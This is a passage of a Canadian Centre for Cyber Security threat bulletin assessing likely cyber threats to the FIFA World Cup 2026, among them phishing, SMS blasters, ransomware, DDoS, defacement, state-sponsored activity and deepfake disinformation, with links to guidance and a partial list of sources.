across industry – including vendors – to act now and work together to protect our people and secure our future.</p> </div> <div class="row"> <div class="col-md-4 col-sm-4"><img alt="" class="img-responsive mrgn-bttm-md col-md-8 col-md-offset-2 col-sm-12 col-sm-offset-0 col-xs-8 col-xs-offset-2" src="/sites/default/files/images/stephanie-crowe-420×420.jpg" /><p class="col-md-12 col-xs-12">Stephanie Crowe, Head Australian Cyber Security Centre (Australian Signals Directorate)</p> </div> <div class="col-md-4 col-sm-4"><img alt="" class="img-responsive mrgn-bttm-md col-md-8 col-md-offset-2 col-sm-12 col-sm-offset-0 col-xs-8 col-xs-offset-2" src="/sites/default/files/images/rajiv-gupta-420×420.jpg" /><p class="col-md-12 col-xs-12">Rajiv Gupta, Head Canadian Centre for Cyber Security (Communications Security Establishment Canada)</p> </div> <div class="col-md-4 col-sm-4"><img alt="" class="img-responsive mrgn-bttm-md col-md-8 col-md-offset-2 col-sm-12 col-sm-offset-0 col-xs-8 col-xs-offset-2" src="/sites/default/files/images/catriona-robinson-420×420.jpg" /><p class="col-md-12 col-xs-12">Catriona Robinson, Head of the National Cyber Security Centre (Government Communications Security Bureau)</p> </div> </div> <div class="row"> <div class="col-md-4 col-sm-4"><img alt="" class="img-responsive mrgn-bttm-md col-md-8 col-md-offset-2 col-sm-12 col-sm-offset-0 col-xs-8 col-xs-offset-2" src="/sites/default/files/images/richard-horne-420×420.jpg" /><p class="col-md-12 col-xs-12">Richard Horne, Chief Executive Officer National Cyber Security Centre (Government Communications Headquarters)</p> </div> <div class="col-md-4 col-sm-4"><img alt="" class="img-responsive mrgn-bttm-md col-md-8 col-md-offset-2 col-sm-12 col-sm-offset-0 col-xs-8 col-xs-offset-2" src="/sites/default/files/images/david-imbordino-420×420.jpg" /><p class="col-md-12 col-xs-12">David Imbordino, Director Cyber Security Directorate (National Security Agency)</p> </div> <div class="col-md-4 col-sm-4"><img alt="" class="img-responsive mrgn-bttm-md col-md-8 col-md-offset-2 col-sm-12 col-sm-offset-0 col-xs-8 col-xs-offset-2" src="/sites/default/files/images/nick-anderson-420×420.jpg" /><p class="col-md-12 col-xs-12">Nick Andersen, Acting Director (Cybersecurity and Infrastructure Security Agency)</p> </div> </div> </div> </div> </div> </div> </div> </article>

<article data-history-node-id="7762" about="/en/guidance/cyber-threat-bulletin-fifa-world-cup-2026tm" class="cccs-basic-page full clearfix"> <div class="content"> <div class="layout layout–onecol"> <div class="layout__region layout__region–content"> <div data-block-plugin-id="extra_field_block:node:cccs_basic_page:links" class="block block-layout-builder block-extra-field-blocknodecccs-basic-pagelinks clearfix"> </div> <div data-block-plugin-id="field_block:node:cccs_basic_page:body" class="block block-layout-builder block-field-blocknodecccs-basic-pagebody clearfix"> <div class="field field–name-body field–type-text-with-summary field–label-hidden field–item"><section><h2 class="text-info page-header">Overview</h2> <p>The Cyber Centre assesses that the FIFA World Cup 2026^TM will almost certainly be targeted by a range of cyber threat actors, including cybercriminals, non-state actors, and state-sponsored actors. The tournament will run from June 11 to July 19, 2026, and will include 104 matches with 48 teams across 16 cities in Canada, the United States, and Mexico.<sup id="fn1-rf"><a class="fn-lnk" href="#fn1"><span class="wb-inv">Footnote </span>1</a></sup> Due to its unique blend of global visibility, complex supporting infrastructure, and symbolic importance, the FIFA World Cup 2026^TM is a high-profile target for cyber threat activity. The tournament’s broad attack surface – including physical and digital systems, surrounding business ecosystem, and supply chain partners – provides many opportunities for cyber threat actors to advance their ideological, geopolitical, and financial objectives.</p> <details class="mrgn-tp-md"><summary><h2 class="h3">Table of contents</h2> </summary><ul class="list-unstyled"><li><a href="#key-judgments">Key judgments</a></li> <li><a href="#threat-individuals">Cyber threats to individuals</a></li> <li><a href="#threats-org-businesses-gc">Cyber threats to organizations, businesses, and governments</a></li> <li><a href="#disinformation-activity">Disinformation and influence activity</a></li> <li><a href="#outlook">Outlook</a></li> <li><a href="#about">About this document</a></li> <li><a href="#resources">Useful resources</a></li> <li><a href="#endnotes">End notes</a></li> </ul></details></section><div class="clearfix"> </div> <section><h2 class="text-info page-header lst-spcd" id="key-judgments">Key judgments</h2> <ul><li>We assess that cybercriminals will almost certainly exploit the public engagement and the popularity of the FIFA World Cup 2026^TM to support financially motivated cyber threat activity against individuals and organizations. Cybercriminals use major events like the FIFA World Cup 2026^TM as topical lures and pretexts for phishing campaigns and social engineering attacks. They target both individuals and organizations to steal credentials, commit financial fraud, and exploit data. Cybercriminals will very likely attempt to extort organizations associated with or supporting the event through disruptive attacks, including ransomware.</li> <li>We assess that ideologically motivated non-state cyber threat actors, commonly referred to as hacktivists, will very likely engage in disruptive cyber attacks against organizations associated with the FIFA World Cup 2026^TM, including distributed denial-of-service (DDoS) attacks and defacement attacks against websites and other digital services to draw attention to domestic issues within host countries, environmental causes, or international conflict.</li> <li>We assess that there is a roughly even chance that state-sponsored cyber threat actors will conduct disruptive cyber threat activity against the FIFA World Cup 2026^TM as a strategic tool in broader geopolitical confrontations. Our assessment of the likelihood of this activity may change based on the development of ongoing conflicts and geopolitical tensions involving host nations and participating countries.</li> <li>We assess that cyber threat actors will very likely leverage the public interest and media coverage of the FIFA World Cup 2026^TM to spread disinformation and narratives supporting their strategic interests, including through campaigns that leverage AI-generated content and deepfakes.</li> </ul><div class="clearfix"> </div> <h2 class="text-info page-header" id="threat-individuals">Cyber threats to individuals</h2> <p>We assess that cybercriminals almost certainly present the primary cyber threat to patrons and spectators of the FIFA World Cup 2026^TM via event-themed financial fraud and scams. Cybercriminals use events like the FIFA World Cup 2026^TM as topical lures and pretexts for phishing campaigns and social engineering attacks. They target both individuals and organizations to steal credentials, commit financial fraud, and exploit data. Individuals who fall victim to cyber-enabled fraud and scams may suffer financial loss or have their personal information exposed, which can lead to further identity theft and other fraudulent activity.</p> <p>Cybercriminals use event-related lures, such as travel discounts, exclusive livestreaming access, sports betting opportunities, or fraudulent offers for tickets, merchandise, or short-term rentals to entice victims to engage with phishing messages and malicious advertisements, websites, or event-related mobile applications.<sup id="fn2-rf"><a class="fn-lnk" href="#fn2"><span class="wb-inv">Footnote </span>2</a></sup> For example, security researchers at a private cybersecurity firm reported that phishing attempts against victims in the Middle East and North Africa doubled ahead of the 2022 FIFA World Cup, with cybercriminals impersonating athletes and FIFA ticket offices.<sup id="fn3-rf"><a class="fn-lnk" href="#fn3"><span class="wb-inv">Footnote </span>3</a></sup> As of August 2025, another cybersecurity firm identified over 4300 likely fraudulent domain registrations related to the FIFA World Cup 2026^TM, many strategically combining host city names with tournament years (e.g. “fifawcdallas.com”) and other key words like “football” or “FIFA”.<sup id="fn4-rf"><a class="fn-lnk" href="#fn4"><span class="wb-inv">Footnote </span>4</a></sup> Many of these websites attempt to replicate FIFA’s branding, logos, and designs. The impact of these campaigns can be amplified when cybercriminals impersonate well-known entities including athletes, team affiliates, official organizers and sponsors, or local authorities. For example, cybercriminals have repeatedly exploited the likeness of Cristiano Ronaldo, a popular professional footballer, in numerous scams tied to sporting events. Using artificial intelligence (AI), cybercriminals have created deepfake videos that convincingly impersonated the athlete to promote fraudulent financial schemes on social media.<sup id="fn5-rf"><a class="fn-lnk" href="#fn5"><span class="wb-inv">Footnote </span>5</a></sup></p> <section class="panel panel-primary"><header class="panel-heading"><h3 class="panel-title">The threat from short message service (SMS) blasters</h3> </header><div class="panel-body"> <p>SMS blasters are portable devices that can be used to send mass amounts of “smishing” messages to nearby cellphones. These messages can contain malicious links that are used to harvest credentials, personal information, or financial details from victims.<sup id="fn6-rf"><a class="fn-lnk" href="#fn6"><span class="wb-inv">Footnote </span>6</a></sup></p> <p>In April 2026, arrests were made following the discovery of an SMS blaster used within the Greater Toronto Area over the course of several months.<sup id="fn7-rf"><a class="fn-lnk" href="#fn7"><span class="wb-inv">Footnote </span>7</a></sup> It is estimated that tens of thousands of devices connected to the blaster, with over 13 million network disruptions. Similar reports of SMS blaster scams have emerged from many countries including the United Kingdom, New Zealand, Vietnam, Thailand, and Greece.<sup id="fn8-rf"><a class="fn-lnk" href="#fn8"><span class="wb-inv">Footnote </span>8</a></sup></p> <p>An SMS blaster deployed around an event like the FIFA World Cup 2026^TM would allow threat actors to send out massive volumes of smishing messages to patrons. These messages may appear as coming from legitimate sources like event organizers, rideshare providers, or local authorities and could be used to maximize the reach of fraud campaigns. Because SMS blasters act as a rogue cellular tower, nearby phones may also temporarily lose their connection to legitimate networks, potentially limiting access to emergency services, such as 911, for periods ranging from a few seconds to several minutes.</p> </div> </section><div class="clearfix"> </div> <div class="pull-right small text-muted"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"> </span></div> <div class="clearfix"> </div> <h2 class="text-info page-header" id="threats-org-businesses-gc">Cyber threats to organizations, businesses, and governments</h2> <p>Cyber threat actors exploit heightened public attention and reputational stakes associated with events like the FIFA World Cup 2026^TM to further their financial, ideological, or geopolitical objectives. Cyber threat activity related to the FIFA World Cup 2026^TM will very likely target the broader ecosystem of organizations around the tournament, including:</p> <ul><li><strong>travel and hospitality sectors:</strong> hotels, airlines, ticketing systems, and other booking platforms that handle sensitive data (e.g. credit card information, guest details)<sup id="fn9-rf"><a class="fn-lnk" href="#fn9"><span class="wb-inv">Footnote </span>9</a></sup></li> <li><strong>organizers and participants:</strong> venues, agencies and regulators, and competing teams<sup id="fn10-rf"><a class="fn-lnk" href="#fn10"><span class="wb-inv">Footnote </span>10</a></sup></li> <li><strong>services and sponsors:</strong> high profile brands and service providers associated with the tournament<sup id="fn11-rf"><a class="fn-lnk" href="#fn11"><span class="wb-inv">Footnote </span>11</a></sup></li> <li><strong>infrastructure owners and operators:</strong> various critical infrastructure sectors including municipal transportation, energy and utilities, water and wastewater, and telecommunications<sup id="fn12-rf"><a class="fn-lnk" href="#fn12"><span class="wb-inv">Footnote </span>12</a></sup></li> </ul><p>Cyber threat actors are also likely to exploit the publicity surrounding the FIFA World Cup 2026^TM to amplify the perceived impact of their disruptive activity, even when the intended targets have no direct link to the competition. For example, on the eve of the 2026 Winter Olympic Games opening ceremony in Italy, more than 120 targets were affected by cyberattacks, including hotel portals in Cortina d’Ampezzo, the region hosting alpine skiing events, and the websites and digital systems of numerous Italian foreign ministries and consulates in major cities worldwide.<sup id="fn13-rf"><a class="fn-lnk" href="#fn13"><span class="wb-inv">Footnote </span>13</a></sup> In a Telegram post, the group responsible said that the operation was retaliation against Italy’s “pro-Ukraine” stance.<sup id="fn14-rf"><a class="fn-lnk" href="#fn14"><span class="wb-inv">Footnote </span>14</a></sup> Although none of the compromised systems were directly part of the Olympic infrastructure, the attack occurred at a highly visible time and against entities within the broader Olympic ecosystem. As a result, the media and the public quickly labelled them as attacks against the Olympics, creating the impression that the competition itself was under attack. In most cases, disruptive cyber attacks around major events result only in temporary or localized effects.</p> <h3>Ransomware</h3> <p>We assess that cybercriminals will very likely attempt to extort organizations associated with or supporting the FIFA World Cup 2026^TM through ransomware attacks. Cybercriminals opportunistically exploit major events to increase their leverage and extract ransom payments from organizations under pressure to keep services running. For example, during the 2024 football season, Italy’s Bologna Football Club publicly announced a ransomware attack on its internal security systems, which resulted in the loss of 200GB of data, including strategic documents, sensitive player information, financial records, and confidential data related to stadiums.<sup id="fn15-rf"><a class="fn-lnk" href="#fn15"><span class="wb-inv">Footnote </span>15</a></sup> By encrypting critical systems or stealing data and demanding payment for their release, ransomware attacks can result in data loss, operational disruptions, or delays to event proceedings.</p> <h3>Distributed denial-of-service attacks</h3> <p>Non-state actors will very likely engage in distributed denial-of-service (DDoS) attacks against infrastructure related to the FIFA World Cup 2026^TM, including official websites, streaming platforms, ticketing systems, and broadcasters, to overwhelm and render services unavailable to legitimate users. For example, during the 2024 EUFA European Championships (The Euros), cyber threat actors conducted a DDoS attack against a Polish public television broadcaster, disrupting broadcasts of key matches involving the Polish national team.<sup id="fn16-rf"><a class="fn-lnk" href="#fn16"><span class="wb-inv">Footnote </span>16</a></sup></p> <h3>Defacement attacks</h3> <p>Non-state cyber threat actors will likely conduct defacement attacks against the official websites or social media accounts of businesses and organizations during the FIFA World Cup 2026^TM. By hijacking the online presence of event organizers, sponsors and host governments to insert ideological or geopolitical messaging, threat actors seek to reach widespread audiences, drawing attention to their causes. Real-world digital signage including dynamic displays, digital posters, and video walls around FIFA-venues or nearby tourism and transit hubs may also be targeted. For example, during the 2024 Summer Olympic Games, an Iranian cyber group compromised a French digital signage provider in a failed attempt to display photo montages critiquing the participation of Israeli athletes in the sporting competition.<sup id="fn17-rf"><a class="fn-lnk" href="#fn17"><span class="wb-inv">Footnote </span>17</a></sup> In October 2025, three Canadian airports were affected by a similar compromise against a third-party provider resulting in pro-Hamas messaging being broadcast in passenger terminals through flight information displays and public address systems.<sup id="fn18-rf"><a class="fn-lnk" href="#fn18"><span class="wb-inv">Footnote </span>18</a></sup></p> <h3>State-sponsored cyber attacks</h3> <p>We assess that there is a roughly even chance that state-sponsored cyber threat actors will attempt to conduct disruptive cyber threat activity against the FIFA World Cup 2026^TM. The potential for a state-sponsored disruptive cyber attack increases when a major event coincides with conflict or heightened geopolitical tensions, particularly if a host nation is directly involved in or closely aligned with a party to the conflict. Disruptive cyber operations have previously been deployed by state-sponsored cyber actors to achieve strategic effects.<sup id="fn19-rf"><a class="fn-lnk" href="#fn19"><span class="wb-inv">Footnote </span>19</a></sup> These actions are typically motivated by political or cultural aims, the opportunity to promote an agenda on a global stage, foreign policy considerations, or to retaliate against the host or participating countries.<sup id="fn20-rf"><a class="fn-lnk" href="#fn20"><span class="wb-inv">Footnote </span>20</a></sup></p> <p>Ongoing geopolitical conflicts have increased the likelihood that state-sponsored cyber threat actors will target the tournament and related services with disruptive cyber operations.<sup id="fn21-rf"><a class="fn-lnk" href="#fn21"><span class="wb-inv">Footnote </span>21</a></sup> These actors likely view the FIFA World Cup 2026^TM and its associated infrastructure as symbolic targets for retaliation and capability signaling.<sup id="fn22-rf"><a class="fn-lnk" href="#fn22"><span class="wb-inv">Footnote </span>22</a></sup> Whether states involved in ongoing conflicts participate in the tournament is a key variable. Our assessment of the likelihood and potential impact of state-sponsored disruptive cyber activity against the competition may change based on the status of hostilities involving event hosts and participating nations.</p> <div class="clearfix"> </div> <div class="pull-right small text-muted"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"> </span></div> <div class="clearfix"> </div> <h2 class="text-info page-header" id="disinformation-activity">Disinformation and influence activity</h2> <p>Cyber threat actors will very likely use the FIFA World Cup 2026^TM as a basis for disinformation activity and influence campaigns, exploiting the tournament’s intense public interest and extensive media coverage to amplify ideologically or geopolitically motivated messaging. These campaigns are often fueled by both domestic and international tensions and ongoing social, political, or ideological grievances.</p> <p>We assess that cyber threat actors will almost certainly leverage fake or deceptive AI generated articles, images, and videos (including deepfakes) into their online influence campaigns.<sup id="fn23-rf"><a class="fn-lnk" href="#fn23"><span class="wb-inv">Footnote </span>23</a></sup> For example, ahead of the 2024 Summer Olympics, cyber threat actors released a likely deepfake video denouncing the International Olympic Committee.<sup id="fn24-rf"><a class="fn-lnk" href="#fn24"><span class="wb-inv">Footnote </span>24</a></sup> This video was accompanied by a fabricated, although not necessarily AI-generated, video of US officials warning of public safety threats against local transportation around the event.<sup id="fn25-rf"><a class="fn-lnk" href="#fn25"><span class="wb-inv">Footnote </span>25</a></sup> These campaigns are designed to pollute the online information space, seeking to undermine institutions and sow doubt and division in targeted societies.</p> <div class="clearfix"> </div> <h2 class="text-info page-header" id="outlook">Outlook</h2> <p>Major international sporting events like the FIFA World Cup 2026^TM provide many opportunities for cyber threat actors to exploit the high degree of visibility and public interest around the tournament to further their financial, ideological, or strategic objectives.</p> <p>Many cyber threats can be mitigated through awareness and cyber security best practices. The Cyber Centre encourages all fans, attendees, athletes, government officials, and organizations associated with the FIFA World Cup 2026^TM to take appropriate measures to protect their systems against the cyber threats detailed in this bulletin.</p> <div class="clearfix"> </div> <h2 class="text-info page-header" id="about">About this document</h2> <p>This Cyber Threat Bulletin is intended for the cyber security community. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information visit the <a href="https://www.first.org/tlp/">Traffic Light Protocol</a>.</p> <h3>Contact</h3> <p>For follow-up questions or issues, contact the Canadian Centre for Cyber Security at <a href="mailto:contact@cyber.gc.ca">contact@cyber.gc.ca</a>.</p> <h3>Assessment base and methodology</h3> <p>The key judgements in this bulletin rely on reporting from multiple sources, both classified and unclassified. The judgements are based on the knowledge and expertise in cyber security of the Canadian Centre for Cyber Security (the Cyber Centre). Defending the Government of Canada’s information systems provides the Cyber Centre with a unique perspective to observe trends in the cyber threat environment, which also informs our assessments. The Communications Security Establishment Canada’s (CSE) foreign intelligence mandate provides us with valuable insight into adversary behaviour in cyberspace. While we must always protect classified sources and methods, we provide the reader with as much justification as possible for our judgements.</p> <p>Our judgements are based on an analytical process that includes evaluating the quality of available information, exploring alternative explanations, mitigating biases and using probabilistic language. We use terms such as “we assess” or “we judge” to convey an analytic assessment. We use qualifiers such as “possibly”, “likely” and “very likely” to convey probability.</p> <p>The assessments and analysis are based on information available as of June 3, 2026.</p> <div class="panel panel-default col-md-12"> <div class="panel-body"> <figure><figcaption class="mrgn-bttm-md"><h3>Estimative language guide</h3> </figcaption></figure><p class="mrgn-bttm-lg">The chart below matches estimative language with appropriate percentages. These percentages are not derived via statistical analysis, but are based on logic, available information, prior judgements and methods that increase the accuracy of estimates.</p> <img alt="Long description immediately follows" class="img-responsive center-block mrgn-bttm-lg" src="/sites/default/files/images/tarp-language-chart-transparent-e.png" /><details class="brdr-tp brdr-rght brdr-bttm brdr-lft mrgn-bttm-sm"><summary>Long description – Estimative language chart </summary><ul class="list-unstyled mrgn-tp-md"><li>1 to 9% Almost no chance</li> <li>10 to 24% Very unlikely/very improbable</li> <li>25 to 39% Unlikely/improbable</li> <li>40 to 59% Roughly even chance</li> <li>60 to 74% Likely/probably</li> <li>75 to 89% Very likely/very probable</li> <li>90 to 99% Almost certainly</li> </ul></details></div> </div> </section><div class="clearfix"> </div> <div class="pull-right small text-muted"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"> </span></div> <div class="clearfix"> </div> <section><h2 class="text-info page-header" id="resources">Useful resources</h2> <p>Refer to the following online resources for more information and for advice and guidance.</p> <h3 class="text-info">Guidance for individuals</h3> <ul><li><a href="/en/guidance/device-security-travel-and-telework-abroad-itsap00188">Device security for travel and telework abroad – ITSAP.00.188</a></li> <li><a href="/en/guidance/mobile-device-guidance-high-profile-travellers-itsap-00088">Mobile device guidance for high profile travellers – ITSAP.00.088</a></li> <li><a href="/en/guidance/protecting-yourself-identity-theft-online-itsap00033">Protecting yourself from identity theft online – ITSAP.00.033</a></li> </ul><h4>Guidance on phishing attacks</h4> <ul><li><a href="/en/guidance/dont-take-bait-recognize-and-avoid-phishing-attacks">Don’t take the bait: Recognize and avoid phishing attacks – ITSAP.00.101</a></li> <li><a href="https://www.getcybersafe.gc.ca/en/blogs/phishing-scams-youre-more-likely-encounter-when-travelling">Phishing scams you’re more likely to encounter when travelling</a></li> </ul><h4>Guidance on SMS blasters</h4> <ul><li><a href="/en/guidance/protect-your-devices-sms-blasters-itsap00104">Protect your devices from SMS blasters – ITSAP.00.104</a></li> <li><a href="/en/guidance/smishing-protect-yourself-sms-attacks-itsap00103">Smishing: Protect yourself from SMS attacks – ITSAP.00.103</a></li> <li><a href="https://www.getcybersafe.gc.ca/en/blogs/reporting-spam-text-messages-7726">Reporting spam text messages to 7726</a></li> <li><a href="/en/guidance/protect-your-devices-imsi-catchers-itsap00106">Protect your devices from IMSI catchers – ITSAP.00.106</a></li> <li><a href="/en/guidance/cell-site-simulators-itsm00108">Cell site simulators – ITSM.00.108</a></li> </ul><h3 class="text-info">Guidance for organizations, businesses, and governments</h3> <ul><li><a href="/en/incident-management">Report a cyber incident</a></li> <li><a href="/en/guidance/security-considerations-critical-infrastructure-itsap10100">Security considerations for critical infrastructure – ITSAP.10.100</a></li> <li><a href="/en/guidance/what-do-when-your-organization-has-been-compromised-cyber-attack-itsap00009">What to do when your organization has been compromised by a cyber attack – ITSAP.00.009</a></li> <li><a href="/en/guidance/cyber-incident-reporting-guidelines-key-information-sharing-requirements-itsm00140">Cyber incident reporting guidelines: Key information sharing requirements – ITSM.00.140</a></li> </ul><h4>Guidance on ransomware</h4> <ul><li><a href="/en/guidance/ransomware-playbook-itsm00099">Ransomware playbook – ITSM.00.099</a></li> <li><a href="/en/guidance/ransomware-threat-outlook-2025-2027">Ransomware Threat Outlook 2025-2027</a></li> <li><a href="/en/guidance/ransomware-how-prevent-and-recover-itsap00099">Ransomware: How to prevent and recover (ITSAP.00.099)</a></li> </ul><h4>Guidance on DDoS and defacement attacks</h4> <ul><li><a href="/en/guidance/defending-against-distributed-denial-service-ddos-attacks-itsm80110">Defending against distributed denial of service (DDoS) attacks – ITSM.80.110</a></li> <li><a href="/en/guidance/distributed-denial-service-attacks-prevention-and-preparation-itsap80110">Distributed denial of service attacks – prevention and preparation – ITSAP.80.110</a></li> <li><a href="/en/guidance/website-defacement-itsap00060">Website defacement – ITSAP.00.060</a></li> </ul><h3 class="text-info">Guidance on disinformation and influence activities</h3> <ul><li><a href="https://www.canada.ca/en/campaign/online-disinformation.html">Online disinformation – Canada.ca</a></li> <li><a href="/en/guidance/how-identify-misinformation-disinformation-and-malinformation-itsap00300">How to identify misinformation, disinformation, and malinformation (ITSAP.00.300)</a></li> </ul><h4>Guidance on artificial intelligence</h4> <ul><li><a href="/en/guidance/artificial-intelligence-itsap00040">Artificial Intelligence – ITSAP.00.040</a></li> <li><a href="/en/guidance/generative-artificial-intelligence-ai-itsap00041">Generative artificial intelligence – ITSAP.00.041</a></li> <li><a href="/en/guidance/top-10-artificial-intelligence-security-actions-primer-itsap10049">Top 10 artificial intelligence security actions: A primer – ITSAP.10.049</a></li> <li><a href="/en/guidance/threat-large-language-model-text-generators">The threat from large language model text generators</a></li> </ul></section><div class="clearfix"> </div> <div class="pull-right small text-muted"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"> </span></div> <div class="clearfix"> </div> <aside class="wb-fnote" role="note"><h2 id="endnotes">End notes</h2> <dl><dt>Footnote 1</dt> <dd id="fn1"> <p>FIFA. <a href="https://www.fifa.com/en/tournaments/mens/worldcup/canadamexicousa2026/articles/match-schedule-fixtures-results-teams-stadiums">World Cup 2026 | Match schedule, fixtures and stadiums</a>. January 2026.</p> <p class="fn-rtn"><a href="#fn1-rf"><span class="wb-inv">Return to footnote </span>1<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 2</dt> <dd id="fn2"> <p>Royal Canadian Mounted Police. <a href="https://rcmp.ca/en/news/2026/03/4351625">Warning on FIFA World Cup^TM themed frauds</a>. March 30, 2026.</p> <p class="fn-rtn"><a href="#fn2-rf"><span class="wb-inv">Return to footnote </span>2<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 3</dt> <dd id="fn3"> <p>Daksh Kapur. <a href="https://www.trellix.com/blogs/research/email-cyberattacks-on-arab-countries-rise/">Email Cyberattacks on Arab Countries Rise in Lead to Global Football Tournament</a>. Trellix. November 17, 2022.</p> <p class="fn-rtn"><a href="#fn3-rf"><span class="wb-inv">Return to footnote </span>3<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 4</dt> <dd id="fn4"> <p>BforeAI PreCrime. <a href="https://bfore.ai/report/suspicious-domain-activity-2026-fifa-world-cup-tournament/">Suspicious Domain Activity in Lead-up to 2026 FIFA World Cup Tournament</a>. August 28, 2025.</p> <p class="fn-rtn"><a href="#fn4-rf"><span class="wb-inv">Return to footnote </span>4<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 5</dt> <dd id="fn5"> <p>OECD.AI Policy Observatory. <a href="https://oecd.ai/en/incidents/2025-08-04-101d">AI-Generated Deepfakes Exploit Ronaldo and Montenegro in Fraudulent Campaigns in PortugaI</a>. August 4, 2025; Thomas Orsolya. <a href="https://malwaretips.com/blogs/cristiano-ronaldo-bitcoin-promo-code-scam/">Beware The Cristiano Ronaldo Bitcoin Promo Code Scam – What You Need To Know</a>. Scam Reports – MalwareTips. February 10, 2024.</p> <p class="fn-rtn"><a href="#fn5-rf"><span class="wb-inv">Return to footnote </span>5<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 6</dt> <dd id="fn6"> <p>Monica White. <a href="https://www.techradar.com/computing/cyber-security/new-sms-blaster-text-scams-are-on-the-rise-security-experts-warn-stay-safe-by-changing-this-one-phone-setting">New ‘SMS blaster’ text scams are on the rise, security experts warn – stay safe by changing this one phone setting</a>. Tech Radar. October 4, 2025.</p> <p class="fn-rtn"><a href="#fn6-rf"><span class="wb-inv">Return to footnote </span>6<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 7</dt> <dd id="fn7"> <p>Ron Fanfair. <a href="https://www.tps.ca/media-centre/stories/unprecedented-sms-blaster-arrests/">Unprecedented SMS Blaster Arrests</a>. Toronto Police Service. April 23, 2026; CBC News. <a href="https://www.cbc.ca/news/canada/toronto/sms-blaster-police-cybercrime-investigation-9.7174756">Police arrest 3 people in cybercrime investigation, seize ‘SMS blasters’ used to defraud victims</a>. April 23, 2026.</p> <p class="fn-rtn"><a href="#fn7-rf"><span class="wb-inv">Return to footnote </span>7<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 8</dt> <dd id="fn8"> <p>Hilary Osborne. <a href="https://www.theguardian.com/money/2025/jun/24/police-sms-scams-blaster-texts-smishing">Police warn of SMS scams as ‘blaster’ is used to send thousands of texts | Scams</a>. The Guardian. June 24, 2025; New Zealand Police. <a href="https://www.police.govt.nz/news/release/op-orca-%E2%80%94-smishing-scam-smashed">Op Orca — smishing scam smashed</a>. October 3, 2024; Eric Priezkalns. <a href="https://commsrisk.com/criminal-gangs-drive-imsi-catcher-sms-blasters-around-vietnam/">Criminal Gangs Drive IMSI-Catcher SMS Blasters around Vietnam</a>. CommsRisk. April 23, 2023; Bill Toulas. <a href="https://www.bleepingcomputer.com/news/security/bangkok-busts-sms-blaster-sending-1-million-scam-texts-from-a-van/">Bangkok busts SMS Blaster sending 1 million scam texts from a van</a>. Bleeping Computer. November 24, 2024; Bill Giannopoulos. <a href="https://greekcitytimes.com/2026/01/16/sms-blaster-fraud-ring-busted-greece-spata-fake-cell-towers-phishing/">Two Arrested in Greece for SMS Blaster Phishing Attacks on Mobile Banking. Greek City Times</a>. January 16, 2026.</p> <p class="fn-rtn"><a href="#fn8-rf"><span class="wb-inv">Return to footnote </span>8<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 9</dt> <dd id="fn9"> <p>See: Shweta Sharma. <a href="https://www.csoonline.com/article/2081598/cyberattack-forces-omni-hotels-to-shut-down-its-it-systems.html">Cyberattack forces Omni Hotels to shut down its IT systems</a>. CSO Online. April 4, 2024; Justinas Vainilavicius. <a href="https://cybernews.com/cybercrime/hotels-italy-massive-breach/">Hotels in Italy suffer a potentially massive breach</a>. CyberNews. August 14, 2025; Suzanne Kelleher.<a href="https://www.forbes.com/sites/suzannerowankelleher/2025/07/02/3-airlines-cyberattack-qantas-westjet-hawaiian/">The Same Cyberhacking Group Breached 3 Airlines In 3 Weeks</a>. Forbes. July 2, 2025; BBC. <a href="https://www.bbc.com/news/articles/cw99ql0239wo">Ticketmaster confirms data hack</a>. June 2, 2024; Aaron Tinney. <a href="https://www.dailystar.co.uk/sport/football/premier-league-clubs-targeted-cyber-33481776">Premier League clubs targeted by cyber gangs using bots to scalp £50m worth of tickets</a>. Daily Star. August 16, 2024; Monica Burgess. <a href="https://www.huntress.com/threat-library/data-breach/uber-data-breach">Uber Data Breach: What Happened, Impact, and Lessons</a>. Huntress. October 31, 2025.</p> <p class="fn-rtn"><a href="#fn9-rf"><span class="wb-inv">Return to footnote </span>9<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 10</dt> <dd id="fn10"> <p>See: AP News. <a href="https://apnews.com/article/paris-2024-ransomware-museums-olympic-competitions-12a1facc4a245e2e58f229cfc041beac">Paris 2024: French museum network hit by ransomware attack</a>. August 6, 2024; Andy Greenberg. <a href="https://www.wired.com/story/untold-story-2018-olympics-destroyer-cyberattack/">Inside Olympic Destroyer, the Most Deceptive Hack in History</a>. WIRED. October 17, 2019; World Anti-Doping Agency (WADA). <a href="https://www.wada-ama.org/en/news/cyber-security-update-wadas-incident-response">Cyber Security Update: WADA’s Incident Response</a>. October 5, 2016; Caitalin Cimpanu. <a href="https://www.zdnet.com/article/hackers-hijack-twitter-accounts-for-chicago-bears-and-green-bay-packers/">Hackers hijack social media accounts for the NFL and 15 teams</a>. ZDNET. January 27, 2020; Sergiu Gatlan. <a href="https://www.bleepingcomputer.com/news/security/olympique-marseille-football-club-confirms-cyberattack-after-data-leak/">Olympique Marseille confirms ‘attempted’ cyberattack after data leak</a>. Bleeping Computer. February 26, 2026.</p> <p class="fn-rtn"><a href="#fn10-rf"><span class="wb-inv">Return to footnote </span>10<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 11</dt> <dd id="fn11"> <p>See: Mitchell Langley. <a href="https://dailysecurityreview.com/security-spotlight/coca-cola-data-breach-employee-details-leaked-after-ignored-ransom-demand/">Coca-Cola Data Breach: Employee Details Leaked After Ignored Ransom Demand</a>. Security Daily Review. May 28, 2025; Sead Fadilpasic. <a href="https://www.techradar.com/pro/security/hyundai-it-services-breach-could-put-2-7-million-hyundai-kia-owners-at-risk">Hyundai IT services breach could put 2.7 million Hyundai, Kia owners in the US at risk</a>. Tech Radar. November 7, 2025; Imperva. <a 